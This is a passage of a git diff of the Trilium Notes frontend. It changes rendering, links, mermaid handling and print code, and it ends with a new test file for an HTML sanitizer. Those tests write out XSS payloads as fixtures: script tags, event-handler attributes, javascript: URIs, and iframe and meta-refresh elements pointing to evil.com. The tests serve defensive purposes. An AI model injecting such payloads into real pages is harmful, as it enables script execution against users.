margin: 2cm;
}
.note-list-widget.full-height,
@@ -25,12 +26,6 @@ body {
}
body[data-note-type="text"] .ck-content {
--ck-content-font-family: var(--print-font-family);
--ck-content-font-size: var(--print-font-size);
--ck-content-font-color: black;
--ck-content-line-height: 1.5;
--ck-content-color-image-caption-background: transparent;
font-size: var(--print-font-size);
text-align: justify;
}
@@ -159,4 +154,4 @@ span[style] {
.page-break::after {
display: none !important;
}
/* #endregion */
/* #endregion */

View File

@@ -31,21 +31,6 @@ async function main() {
if (!noteId) return;
await import("./print.css");
// Browser printing relies on @page margins since there's no programmatic control.
// Electron uses printToPDF() margins instead, so we only inject this for the browser path.
if (!isElectron()) {
const style = document.createElement("style");
style.textContent = "@page { margin: 2cm; }";
document.head.appendChild(style);
}
// Load the user's font preferences so that --detail-font-family is available.
const fontLink = document.createElement("link");
fontLink.rel = "stylesheet";
fontLink.href = "api/fonts";
document.head.appendChild(fontLink);
const note = await froca.getNote(noteId);
const bodyWrapper = document.createElement("div");
@@ -120,9 +105,6 @@ function SingleNoteRenderer({ note, onReady }: RendererProps) {
// Check custom CSS.
await loadCustomCss(note);
// Wait for all fonts (including those from custom CSS) to finish loading.
await document.fonts.ready;
}
load().then(() => requestAnimationFrame(() => onReady({
@@ -148,7 +130,6 @@ function CollectionRenderer({ note, onReady, onProgressChanged }: RendererProps)
media="print"
onReady={async (data: PrintReport) => {
await loadCustomCss(note);
await document.fonts.ready;
onReady(data);
}}
onProgressChanged={onProgressChanged}

View File

@@ -7,10 +7,6 @@ async function renderAttribute(attribute: FAttribute, renderIsInheritable: boole
const isInheritable = renderIsInheritable && attribute.isInheritable ? `(inheritable)` : "";
const $attr = $("<span>");
if (attribute.isAutoLink) {
return $attr;
}
if (attribute.type === "label") {
$attr.append(document.createTextNode(`#${attribute.name}${isInheritable}`));
@@ -19,6 +15,9 @@ async function renderAttribute(attribute: FAttribute, renderIsInheritable: boole
$attr.append(document.createTextNode(formatValue(attribute.value)));
}
} else if (attribute.type === "relation") {
if (attribute.isAutoLink) {
return $attr;
}
// when the relation has just been created, then it might not have a value
if (attribute.value) {

View File

@@ -1,7 +1,5 @@
import { ScriptParams } from "@triliumnext/commons";
import { h, VNode } from "preact";
import FNote from "../entities/fnote.js";
import BasicWidget, { ReactWrappedWidget } from "../widgets/basic_widget.js";
import RightPanelWidget from "../widgets/right_panel_widget.js";
import type { Entity } from "./frontend_script_api.js";
@@ -28,7 +26,7 @@ type WithNoteId<T> = T & {
};
export type Widget = WithNoteId<(LegacyWidget | WidgetDefinitionWithType)>;
async function getAndExecuteBundle(noteId: string, originEntity: FNote | null = null, script: string | null = null, params: ScriptParams | null = null) {
async function getAndExecuteBundle(noteId: string, originEntity: Entity | null = null, script: string | null = null, params: string | null = null) {
const bundle = await server.post<Bundle>(`script/bundle/${noteId}`, {
script,
params

View File

@@ -1,7 +1,6 @@
import "./content_renderer.css";
import { normalizeMimeTypeForCKEditor, renderToHtml, type TextRepresentationResponse } from "@triliumnext/commons";
import DOMPurify from "dompurify";
import { normalizeMimeTypeForCKEditor, type TextRepresentationResponse } from "@triliumnext/commons";
import { h, render } from "preact";
import WheelZoom from 'vanilla-js-wheel-zoom';
@@ -9,7 +8,7 @@ import FAttachment from "../entities/fattachment.js";
import FNote from "../entities/fnote.js";
import imageContextMenuService from "../menus/image_context_menu.js";
import { t } from "../services/i18n.js";
import renderText, { postProcessRichContent, renderChildrenList } from "./content_renderer_text.js";
import renderText from "./content_renderer_text.js";
import renderDoc from "./doc_renderer.js";
import { loadElkIfNeeded, postprocessMermaidSvg } from "./mermaid.js";
import openService from "./open.js";
@@ -55,8 +54,6 @@ export async function getRenderedContent(this: {} | { ctx: string }, entity: FNo
if (type === "text" || type === "book") {
await renderText(entity, $renderedContent, options);
} else if (type === "markdown") {
await renderMarkdown(entity, $renderedContent, options);
} else if (type === "code") {
await renderCode(entity, $renderedContent);
} else if (["image", "canvas", "mindMap", "spreadsheet"].includes(type)) {
@@ -122,31 +119,6 @@ export async function getRenderedContent(this: {} | { ctx: string }, entity: FNo
};
}
/**
* Renders a markdown note by converting its source to CKEditor-compatible HTML,
* then running the same post-render pipeline as text notes (included notes,
* math, reference links, Mermaid, code highlight) so the preview matches what
* the user sees in the Markdown note type's preview pane.
*/
async function renderMarkdown(note: FNote | FAttachment, $renderedContent: JQuery<HTMLElement>, options: RenderOptions) {
const blob = await note.getBlob();
const source = blob?.content ?? "";
if (!source.trim()) {
if (note instanceof FNote && !options.noChildrenList) {
await renderChildrenList($renderedContent, note, options.includeArchivedNotes ?? false);
}
return;
}
const html = renderToHtml(source, note.title, {
sanitize: (dirty) => DOMPurify.sanitize(dirty),
wikiLink: { formatHref: (id) => `#root/${id}` }
});
$renderedContent.append($('<div class="ck-content">').html(html));
await postProcessRichContent(note, $renderedContent, options);
}
/**
* Renders a code note, by displaying its content and applying syntax highlighting based on the selected MIME type.
*/
@@ -358,8 +330,6 @@ function getRenderingType(entity: FNote | FAttachment) {
if (type === "file" && mime === "application/pdf") {
type = "pdf";
} else if (type === "code" && entity instanceof FNote && entity.isMarkdown()) {
type = "markdown";
} else if ((type === "file" || type === "viewConfig") && mime && CODE_MIME_TYPES.has(mime) && !isIconPack) {
type = "code";
} else if (type === "file" && mime && mime.startsWith("audio/")) {

View File

@@ -5,6 +5,7 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -14,48 +15,38 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(blob.content));
await postProcessRichContent(note, $renderedContent, options);
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
if (!options.noIncludedNotes) {
await renderIncludedNotes($renderedContent[0], seenNoteIds);
} else {
$renderedContent.find("section.include-note").remove();
}
if ($renderedContent.find("span.math-tex").length > 0) {
renderMathInElement($renderedContent[0], { trust: true });
}
const getNoteIdFromLink = (el: HTMLElement) => tree.getNoteIdFromUrl($(el).attr("href") || "");
const referenceLinks = $renderedContent.find<HTMLAnchorElement>("a.reference-link");
const noteIdsToPrefetch = referenceLinks.map((i, el) => getNoteIdFromLink(el));
await froca.getNotes(noteIdsToPrefetch);
for (const el of referenceLinks) {
const innerSpan = document.createElement("span");
await link.loadReferenceLinkTitle($(innerSpan), el.href);
el.replaceChildren(innerSpan);
}
await rewriteMermaidDiagramsInContainer($renderedContent[0] as HTMLDivElement);
await formatCodeBlocks($renderedContent);
} else if (note instanceof FNote && !options.noChildrenList) {
await renderChildrenList($renderedContent, note, options.includeArchivedNotes ?? false);
}
}
/**
* Apply the post-render passes that make CKEditor-compatible HTML fully
* interactive: expand `<section class="include-note">`, render inline math and
* Mermaid diagrams, rewrite reference-link titles, and highlight code blocks.
* Assumes the caller has already appended the HTML inside a `.ck-content` child
* of `$renderedContent`.
*/
export async function postProcessRichContent(note: FNote | FAttachment, $renderedContent: JQuery<HTMLElement>, options: RenderOptions = {}) {
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
if (!options.noIncludedNotes) {
await renderIncludedNotes($renderedContent[0], seenNoteIds);
} else {
$renderedContent.find("section.include-note").remove();
}
if ($renderedContent.find("span.math-tex").length > 0) {
renderMathInElement($renderedContent[0], { trust: true });
}
const getNoteIdFromLink = (el: HTMLElement) => tree.getNoteIdFromUrl($(el).attr("href") || "");
const referenceLinks = $renderedContent.find<HTMLAnchorElement>("a.reference-link");
const noteIdsToPrefetch = referenceLinks.map((i, el) => getNoteIdFromLink(el));
await froca.getNotes(noteIdsToPrefetch);
await Promise.all(referenceLinks.toArray().map(async (el) => {
const innerSpan = document.createElement("span");
await link.loadReferenceLinkTitle($(innerSpan), el.getAttribute("href"));
el.replaceChildren(innerSpan);
}));
await rewriteMermaidDiagramsInContainer($renderedContent[0] as HTMLDivElement);
await formatCodeBlocks($renderedContent);
}
async function renderIncludedNotes(contentEl: HTMLElement, seenNoteIds: Set<string>) {
// TODO: Consider duplicating with server's share/content_renderer.ts.
const includeNoteEls = contentEl.querySelectorAll("section.include-note");
@@ -111,107 +102,19 @@ export async function rewriteMermaidDiagramsInContainer(container: HTMLDivElemen
}
}
/**
* Per-container cache of rendered mermaid SVG keyed by diagram source text.
* Populated after each successful render; reused on subsequent renders to
* avoid flicker when the preview HTML is regenerated (e.g. live markdown
* editing). Entries for diagrams no longer present in the container are
* evicted on each run so the cache can't grow unbounded.
*/
const mermaidSvgCache = new WeakMap<HTMLElement, Map<string, string>>();
/**
* Per-container, ordered snapshot of the most recently rendered SVGs. Used as
* a positional placeholder so edits to a diagram's source keep the previous
* SVG visible while the new one renders offscreen.
*/
const mermaidLastRenderedByPosition = new WeakMap<HTMLElement, string[]>();
export async function applyInlineMermaid(container: HTMLDivElement) {
const nodes = Array.from(container.querySelectorAll<HTMLElement>("div.mermaid-diagram"));
if (!nodes.length) {
mermaidLastRenderedByPosition.delete(container);
return;
}
let cache = mermaidSvgCache.get(container);
if (!cache) {
cache = new Map();
mermaidSvgCache.set(container, cache);
}
const lastRendered = mermaidLastRenderedByPosition.get(container) ?? [];
// Decide per node: exact cache hit → paint final SVG; source changed →
// paint the previous SVG (by position) as a placeholder and queue an
// offscreen re-render. This way the user keeps seeing the old diagram
// until mermaid has finished producing the new one.
const pending: Array<{ visible: HTMLElement; source: string }> = [];
const seenSources = new Set<string>();
for (const [ index, node ] of nodes.entries()) {
const source = (node.textContent ?? "").trim();
seenSources.add(source);
const cached = cache.get(source);
if (cached) {
node.innerHTML = cached;
node.setAttribute("data-processed", "true");
continue;
}
pending.push({ visible: node, source });
const placeholder = lastRendered[index];
if (placeholder) {
node.innerHTML = placeholder;
}
}
// Evict cache entries whose source is no longer present.
for (const key of [ ...cache.keys() ]) {
if (!seenSources.has(key)) cache.delete(key);
}
if (!pending.length) {
mermaidLastRenderedByPosition.set(container, nodes.map((n) => n.innerHTML));
return;
}
// Initialize mermaid
const mermaid = (await import("mermaid")).default;
mermaid.initialize(getMermaidConfig());
// Render clones offscreen so the visible nodes keep showing the placeholder
// until the new SVG is ready. Keeps mermaid away from our placeholder SVG
// (which would otherwise confuse its text-based parser).
const offscreen = document.createElement("div");
offscreen.style.cssText = "position:absolute;left:-9999px;top:-9999px;width:0;height:0;overflow:hidden;visibility:hidden;";
document.body.appendChild(offscreen);
const pairs = pending.map(({ visible, source }) => {
const clone = document.createElement("div");
clone.className = "mermaid-diagram";
clone.textContent = source;
offscreen.appendChild(clone);
return { visible, clone, source };
});
const nodes = Array.from(container.querySelectorAll<HTMLElement>("div.mermaid-diagram"));
try {
await mermaid.run({ nodes: pairs.map((p) => p.clone) });
for (const { visible, clone, source } of pairs) {
if (clone.getAttribute("data-processed") !== "true") continue;
const svg = clone.innerHTML;
visible.innerHTML = svg;
visible.setAttribute("data-processed", "true");
cache.set(source, svg);
}
await mermaid.run({ nodes });
} catch (e) {
console.error(e);
} finally {
offscreen.remove();
console.log(e);
}
mermaidLastRenderedByPosition.set(container, nodes.map((n) => n.innerHTML));
}
export async function renderChildrenList($renderedContent: JQuery<HTMLElement>, note: FNote, includeArchivedNotes: boolean) {
async function renderChildrenList($renderedContent: JQuery<HTMLElement>, note: FNote, includeArchivedNotes: boolean) {
let childNoteIds = note.getChildNoteIds();
if (!childNoteIds.length) {

View File

@@ -52,7 +52,7 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
const dir = url.substring(0, url.lastIndexOf("/"));
// Images are relative to the docnote but that will not work when rendered in the application since the path breaks.
$content.find("img").each((_i, el) => {
$content.find("img").each((i, el) => {
const $img = $(el);
$img.attr("src", `${dir}/${$img.attr("src")}`);
});
@@ -73,17 +73,7 @@ function getUrl(docNameValue: string | null, language: string) {
// Cannot have spaces in the URL due to how JQuery.load works.
docNameValue = docNameValue.replaceAll(" ", "%20");
// The user guide is available only in English, so make sure we are requesting correctly since 404s in standalone client are treated differently.
if (docNameValue.includes("User%20Guide")) language = "en";
return `${getBasePath()}/doc_notes/${language}/${docNameValue}.html`;
}
function getBasePath() {
if (window.glob.isStandalone) {
return `server-assets`;
}
if (window.glob.isDev) {
return `${window.glob.assetPath}/..`;
}
return window.glob.assetPath;
const basePath = window.glob.isDev ? `${window.glob.assetPath }/..` : window.glob.assetPath;
return `${basePath}/doc_notes/${language}/${docNameValue}.html`;
}

View File

@@ -1,6 +1,6 @@
import { t } from "./i18n";
import options from "./options";
import { isMobile, isStandalone } from "./utils";
import { isMobile } from "./utils";
export interface ExperimentalFeature {
id: string;
@@ -23,11 +23,6 @@ export const experimentalFeatures = [
export type ExperimentalFeatureId = typeof experimentalFeatures[number]["id"];
/** Returns experimental features available for the current platform (excludes LLM in standalone mode). */
export function getAvailableExperimentalFeatures() {
return experimentalFeatures.filter(f => !(f.id === "llm" && isStandalone));
}
let enabledFeatures: Set<ExperimentalFeatureId> | null = null;
export function isExperimentalFeatureEnabled(featureId: ExperimentalFeatureId): boolean {
@@ -35,24 +30,14 @@ export function isExperimentalFeatureEnabled(featureId: ExperimentalFeatureId):
return (isMobile() || options.is("newLayout"));
}
// LLM features require server-side API calls that don't work in standalone mode
// due to CORS restrictions from LLM providers (OpenAI, Google don't allow browser requests)
if (featureId === "llm" && isStandalone) {
return false;
}
return getEnabledFeatures().has(featureId);
}
export function getEnabledExperimentalFeatureIds() {
let values = [ ...getEnabledFeatures().values() ];
const values = [ ...getEnabledFeatures().values() ];
if (isMobile() || options.is("newLayout")) {
values.push("new-layout");
}
// LLM is not available in standalone mode
if (isStandalone) {
values = values.filter(v => v !== "llm");
}
return values;
}

View File

@@ -1,11 +1,11 @@
import appContext from "../components/app_context.js";
import FAttachment, { type FAttachmentRow } from "../entities/fattachment.js";
import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
import FBlob, { type FBlobRow } from "../entities/fblob.js";
import FBranch, { type FBranchRow } from "../entities/fbranch.js";
import FNote, { type FNoteRow } from "../entities/fnote.js";
import type { Froca } from "./froca-interface.js";
import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
import server from "./server.js";
import appContext from "../components/app_context.js";
import FBlob, { type FBlobRow } from "../entities/fblob.js";
import FAttachment, { type FAttachmentRow } from "../entities/fattachment.js";
import type { Froca } from "./froca-interface.js";
interface SubtreeResponse {
notes: FNoteRow[];
@@ -44,9 +44,8 @@ class FrocaImpl implements Froca {
}
async loadInitialTree() {
if (!glob.dbInitialized) return;
const resp = await server.get<SubtreeResponse>("tree");
// clear the cache only directly before adding new content which is important for e.g., switching to protected session
this.#clear();
this.addResp(resp);
@@ -78,7 +77,7 @@ class FrocaImpl implements Froca {
for (const noteRow of noteRows) {
const { noteId } = noteRow;
const note = this.notes[noteId];
let note = this.notes[noteId];
if (note) {
note.update(noteRow);
@@ -241,8 +240,9 @@ class FrocaImpl implements Froca {
console.trace(`Can't find note '${noteId}'`);
return null;
} else {
return this.notes[noteId];
}
return this.notes[noteId];
})
.filter((note) => !!note) as FNote[];
}
@@ -263,8 +263,9 @@ class FrocaImpl implements Froca {
console.trace(`Can't find note '${noteId}'`);
return null;
} else {
return this.notes[noteId];
}
return this.notes[noteId];
})
.filter((note) => !!note) as FNote[];
}
@@ -337,10 +338,11 @@ class FrocaImpl implements Froca {
attachmentRows = await server.getWithSilentNotFound<FAttachmentRow[]>(`attachments/${attachmentId}/all`);
} catch (e: any) {
if (silentNotFoundError) {
logInfo(`Attachment '${attachmentId}' not found, but silentNotFoundError is enabled: ${e.message}`);
logInfo(`Attachment '${attachmentId}' not found, but silentNotFoundError is enabled: ` + e.message);
return null;
} else {
throw e;
}
throw e;
}
const attachments = this.processAttachmentRows(attachmentRows);

View File

@@ -206,7 +206,7 @@ export interface Api {
* Instance name identifies particular Trilium instance. It can be useful for scripts
* if some action needs to happen on only one specific instance.
*/
getInstanceName(): string | null;
getInstanceName(): string;
/**
* @returns date in YYYY-MM-DD format

View File

@@ -1,10 +1,10 @@
import { findDuplicateJsonKeys, LOCALES } from "@triliumnext/commons";
import { LOCALES } from "@triliumnext/commons";
import { readFileSync } from "fs";
import { join } from "path";
import { describe, expect, it } from "vitest";
describe("i18n", () => {
it("translations are valid JSON with no duplicate keys", () => {
it("translations are valid JSON", () => {
for (const locale of LOCALES) {
if (locale.contentOnly || locale.id === "en_rtl") {
continue;
@@ -14,13 +14,6 @@ describe("i18n", () => {
const translationFile = readFileSync(translationPath, { encoding: "utf-8" });
expect(() => JSON.parse(translationFile), `JSON error while parsing locale '${locale.id}' at "${translationPath}"`)
.not.toThrow();
const duplicates = findDuplicateJsonKeys(translationFile);
expect(
duplicates,
`Duplicate keys in locale '${locale.id}' at "${translationPath}":\n${
duplicates.map((d) => ` - "${d.key}" (line ${d.line})`).join("\n")}`
).toEqual([]);
}
});
});

View File

@@ -4,8 +4,6 @@ import appContext, { type NoteCommandData } from "../components/app_context.js";
import { openInCurrentNoteContext } from "../components/note_context.js";
import linkContextMenuService from "../menus/link_context_menu.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import { showError } from "./toast.js";
import treeService from "./tree.js";
import utils from "./utils.js";
@@ -60,8 +58,6 @@ export interface ViewScope {
*/
tocPreviousVisible?: boolean;
tocCollapsedHeadings?: Set<string>;
/** When set, scrolls to a bookmark anchor within the note after navigation. */
bookmark?: string;
}
interface CreateLinkOptions {
@@ -246,7 +242,7 @@ export function parseNavigationStateFromUrl(url: string | undefined) {
hoistedNoteId = value;
} else if (name === "searchString") {
searchString = value; // supports triggering search from URL, e.g. #?searchString=blabla
} else if (["viewMode", "attachmentId", "bookmark"].includes(name)) {
} else if (["viewMode", "attachmentId"].includes(name)) {
(viewScope as any)[name] = value;
} else if (name === "popup") {
openInPopup = true;
@@ -337,30 +333,15 @@ export function goToLinkExt(evt: MouseEvent | JQuery.ClickEvent | JQuery.MouseDo
if (openInNewTab || openInNewWindow || (isLeftClick && (withinEditLink || outsideOfCKEditor))) {
if (hrefLink.toLowerCase().startsWith("http") || hrefLink.startsWith("api/")) {
window.open(hrefLink, "_blank");
} else if (ALLOWED_PROTOCOLS.some((protocol) => hrefLink.toLowerCase().startsWith(`${protocol}:`))) {
} else {
// Enable protocols supported by CKEditor 5 to be clickable.
if (utils.isElectron()) {
const electron = utils.dynamicRequire("electron");
const reportLinkError = (e: unknown) => {
const message = e instanceof Error ? e.message : String(e);
logError(`Failed to open link '${hrefLink}': ${message}`);
showError(t("link.failed_to_open", { href: hrefLink, message }));
};
if (hrefLink.toLowerCase().startsWith("file:")) {
// shell.openExternal mishandles Unicode file:// URLs on Windows;
// convert to a filesystem path and use shell.openPath instead.
// Normalize file://c:/... (2 slashes — drive read as host) to file:///c:/...
const normalized = hrefLink.replace(/^file:\/\/(?=[a-zA-Z]:)/i, "file:///");
const { fileURLToPath } = utils.dynamicRequire("url");
electron.shell.openPath(fileURLToPath(normalized)).then((err: string) => {
if (err) reportLinkError(new Error(err));
}).catch(reportLinkError);
if (ALLOWED_PROTOCOLS.some((protocol) => hrefLink.toLowerCase().startsWith(`${protocol}:`))) {
if ( utils.isElectron()) {
const electron = utils.dynamicRequire("electron");
electron.shell.openExternal(hrefLink);
} else {
electron.shell.openExternal(hrefLink).catch(reportLinkError);
window.open(hrefLink, "_blank");
}
} else {
window.open(hrefLink, "_blank");
}
}
}
@@ -434,13 +415,6 @@ async function loadReferenceLinkTitle($el: JQuery<HTMLElement>, href: string | n
const title = await getReferenceLinkTitle(href);
$el.text(title);
if (viewScope?.bookmark) {
$el.append($("<small>").append(
$("<span>").addClass("bx bx-bookmark"),
document.createTextNode(viewScope.bookmark)
));
}
if (note) {
const icon = await getLinkIcon(noteId, viewScope.viewMode);
@@ -466,8 +440,8 @@ async function getReferenceLinkTitle(href: string) {
return attachment ? attachment.title : "[missing attachment]";
}
return note.title;
}
function getReferenceLinkTitleSync(href: string) {
@@ -490,12 +464,8 @@ function getReferenceLinkTitleSync(href: string) {
return attachment ? attachment.title : "[missing attachment]";
}
if (viewScope?.bookmark) {
return `${note.title} - ${viewScope.bookmark}`;
}
return note.title;
}
if (glob.device !== "print") {

View File

@@ -32,9 +32,4 @@ describe("Mermaid", () => {
`;
expect(postprocessMermaidSvg(before)).toBe(after);
});
it("replaces &nbsp; with numeric entity for valid XML", () => {
expect(postprocessMermaidSvg("<text>a&nbsp;b&nbsp;&nbsp;c</text>"))
.toBe("<text>a&#160;b&#160;&#160;c</text>");
});
});

View File

@@ -49,15 +49,11 @@ export async function loadElkIfNeeded(mermaid: Mermaid, mermaidContent: string)
* Processes the output of a Mermaid SVG render before it should be delivered to the user.
*
* <p>
* Currently this fixes <br> to <br/> and replaces named HTML entities like &nbsp; with their
* numeric equivalents, both of which would otherwise cause invalid XML when the SVG is saved
* as an attachment.
* Currently this fixes <br> to <br/> which would otherwise cause an invalid XML.
*
* @param svg the Mermaid SVG to process.
* @returns the processed SVG.
*/
export function postprocessMermaidSvg(svg: string) {
return svg
.replaceAll(/<br\s*>/ig, "<br/>")
.replaceAll(/&nbsp;/g, "&#160;");
return svg.replaceAll(/<br\s*>/ig, "<br/>");
}

View File

@@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import linkService from "./link.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import treeService from "./tree.js";
import utils from "./utils.js";
@@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
return;
}
const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
// we need to check if we're still hovering over the element
// since the operation to get tooltip content was async, it is possible that
@@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -27,7 +27,7 @@ export const NOTE_TYPES: NoteTypeMapping[] = [
// The default note type (always the first item)
{ type: "text", mime: "text/html", title: t("note_types.text"), icon: "bx-note" },
{ type: "spreadsheet", mime: "application/json", title: t("note_types.spreadsheet"), icon: "bx-table", isBeta: true, isNew: true },
{ type: "spreadsheet", mime: "application/json", title: t("note_types.spreadsheet"), icon: "bx-table", isBeta: true },
// Text notes group
{ type: "book", mime: "", title: t("note_types.book"), icon: "bx-book" },
@@ -49,7 +49,6 @@ export const NOTE_TYPES: NoteTypeMapping[] = [
// Code notes
{ type: "code", mime: "text/plain", title: t("note_types.code"), icon: "bx-code" },
{ type: "code", mime: "text/x-markdown", title: t("note_types.markdown"), icon: "bxl-markdown", isNew: true },
// Reserved types (cannot be created by the user)
{ type: "contentWidget", mime: "", title: t("note_types.widget"), reserved: true },
@@ -101,7 +100,6 @@ function getBlankNoteTypes(command?: TreeCommandNames): MenuItem<TreeCommandName
title: nt.title,
command,
type: nt.type,
mime: nt.mime,
uiIcon: `bx ${nt.icon}`,
badges: []
};

View File

@@ -1,4 +1,14 @@
import { DefinitionObject, LabelType, Multiplicity } from "@triliumnext/commons";
export type LabelType = "text" | "textarea" | "number" | "boolean" | "date" | "datetime" | "time" | "url" | "color";
type Multiplicity = "single" | "multi";
export interface DefinitionObject {
isPromoted?: boolean;
labelType?: LabelType;
multiplicity?: Multiplicity;
numberPrecision?: number;
promotedAlias?: string;
inverseRelation?: string;
}
function parse(value: string) {
const tokens = value.split(",").map((t) => t.trim());

View File

@@ -0,0 +1,236 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
